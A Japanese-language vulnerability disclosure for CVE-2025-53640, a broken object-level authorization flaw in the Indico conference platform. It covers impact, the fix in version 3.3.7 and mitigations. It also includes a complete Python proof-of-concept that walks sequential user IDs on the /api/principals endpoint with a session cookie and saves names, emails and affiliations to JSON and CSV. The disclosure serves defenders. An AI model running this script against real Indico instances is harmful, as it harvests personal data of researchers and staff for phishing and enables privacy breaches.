
CERNのIndicoにおける壊れたオブジェクトレベル認可(BOLA)は、認証済みユーザーの列挙を引き起こします。
CVE-2025-53640 の PoC および技術的分析: Indico の Broken Object Level Authorization (BOLA) 脆弱性により、エンドポイント経由で認証済みユーザーの列挙が可能になり、氏名、メールアドレス、所属が暴露されます。悪用スクリプト、リクエスト分析、スクリーンショットを含みます。世界的に展開されている Indico インスタンス(欧州原子核研究機構 (CERN)、国際連合 (UN)、マサチューセッツ工科大学 (MIT)、欧州宇宙機関 (ESA) など)に影響します。
オープンソースアプリケーション Indico の Broken Object Level Authorization (BOLA) 脆弱性により、エンドポイントを通じて大量のユーザー列挙が可能になります。
もともとは特定のフォームフィールドでユーザー ID を解決するためのものですが、このエンドポイントは 任意の有効なユーザー ID の個人情報を取得するために悪用される可能性があります:
フルネーム
メールアドレス
役職
所属
アバター URL
この脆弱性は Indico のメンテナによって報告・確認され、正式に CVE-2025-53640 として追跡されています。
有効な認証済みセッションが必要です。
ただし、ほとんどの公開 Indico インスタンスでは、メール検証、CAPTCHA、手動承認なしで自己登録が可能です。
これにより、単純なアカウント作成後、実質的に非認証ユーザーによる悪用が可能になります。
Indico は CERN (欧州原子核研究機構) によって開発された広く採用されているイベント・会議管理プラットフォームであり、世界中の学術・機関インフラを支えています:
CERN (欧州原子核研究機構): 年間 90 万件以上のイベント、毎日 200 以上の部屋が予約されます。
全世界: 300 以上の機関で年間約 145,000 件のイベント。
UN (国際連合): 年間 18 万人以上の参加者。
UNOG (ジュネーブ国際連合事務所): 年間最大 70 万人のユーザー。
大学、研究所、研究機関、政府機関で広く使用されています。
影響を受ける公開インスタンスの例:
科学、学術、政府環境での広範な採用により、この脆弱性は深刻なリスクをもたらします:
研究者、職員、管理者の身元情報の漏洩
大規模なプライバシー侵害と機関ディレクトリの暴露
フィッシングやソーシャルエンジニアリングを目的とした標的型偵察
機密性の高い研究や政策イニシアチブの侵害の可能性
個人データ (PII) の開示
高権限ユーザー(管理者、主催者)の列挙
大量フィッシングおよびスピアフィッシング攻撃の支援
GDPR、LGPD、および内部の機関ポリシーなどの規制に違反
管轄によっては報告義務のある侵害に該当する可能性があります
この問題は Indico v3.3.7 で修正されました。
メンテナによると、予測可能な ID によるユーザーデータ(氏名、所属、メールアドレス)の一括ダンプを防ぐために、エンドポイントの動作が調整されました。新しい設定フラグ ALLOW_PUBLIC_USER_SEARCH も導入されました。
追加の緩和策は以下のとおりです:
登録時のメールチェックを制限
公開検索が無効な場合に人物リンクの解決を無効化
制限付き検索で ACL のないイベントに UI 警告を追加
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://indico.<URL>/api/principals"
headers = {
"Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
"Content-Type": "application/json",
"X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}
def enumerate_users(max_errors=10):
user_id = 1
errors = 0
results = []
while errors < max_errors:
payload = {"values": [f"User:{user_id}"]}
response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
if response.status_code == 200:
data = response.json()
key = f"User:{user_id}"
if key in data and not data[key].get("invalid", True):
user = data[key]
print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
results.append({
"user_id": user_id,
"name": f"{user['first_name']} {user['last_name']}",
"email": user["email"],
"affiliation": user["affiliation"],
"title": user["title"],
"avatar_url": user["avatar_url"]
})
errors = 0
else:
print(f"[-] ID {user_id}: Invalid")
errors += 1
else:
print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
errors += 1
user_id += 1
with open("enumerated_users.json", "w", encoding="utf-8") as jf:
json.dump(results, jf, indent=2, ensure_ascii=False)
with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
writer.writeheader()
writer.writerows(results)
print("Enumeration finished.")
if __name__ == "__main__":
enumerate_users()
ロールまたはコンテキストに基づいてエンドポイントへのアクセスを制限する
indico.conf で ALLOW_PUBLIC_USER_SEARCH = false を設定する
公開するユーザーフィールドを必要なものだけに制限する
自己登録を無効化または制限する(例: メール検証、管理者承認)
エンドポイントのモニタリングとレート制限を有効にする
直ちに Indico 3.3.7 以降へアップグレードする
列挙パターンを検出するためにアクセスログを監視する
公式 ID: CVE-2025-53640
この脆弱性は、ブラジルの RNP (Rede Nacional de Ensino e Pesquisa) における Red Team Residency Program の一環として実施されたセキュリティ評価中に発見されました。
すべての調査とテストは、事前の承認と監督の下で実施されました。倫理的ガイダンスとインフラストラクチャサポートを提供してくれた RNP セキュリティチーム に特に感謝します。
この CVE は、機密性の高い機関データを管理するプラットフォームにおいて、厳格なオブジェクトレベルアクセス制御を実施することの重要性を浮き彫りにしています。